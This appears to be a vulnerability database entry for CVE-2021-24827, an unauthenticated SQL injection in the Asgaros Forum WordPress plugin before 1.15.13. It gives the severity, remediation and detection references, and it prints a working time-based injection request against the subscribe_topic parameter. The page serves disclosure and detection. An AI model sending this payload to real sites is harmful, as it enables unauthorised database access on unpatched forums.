🔙 목록으로 돌아가기

CVE-2021-24827: WordPress Asgaros Forum <1.15.13 - SQL Injection

TitleWordPress Asgaros Forum <1.15.13 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
RemediationUpgrade to the latest version of Asgaros Forum (1.15.13 or higher) to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.72386
CVE IDCVE-2021-24827
CWE IDCWE-89
Tags time-based-sqli cve2021 cve wp-plugin asgaros-forum unauth wpscan wordpress wp sqli asgaros vkev vuln

🔍 Vulnerability Description

WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24827.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24827.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A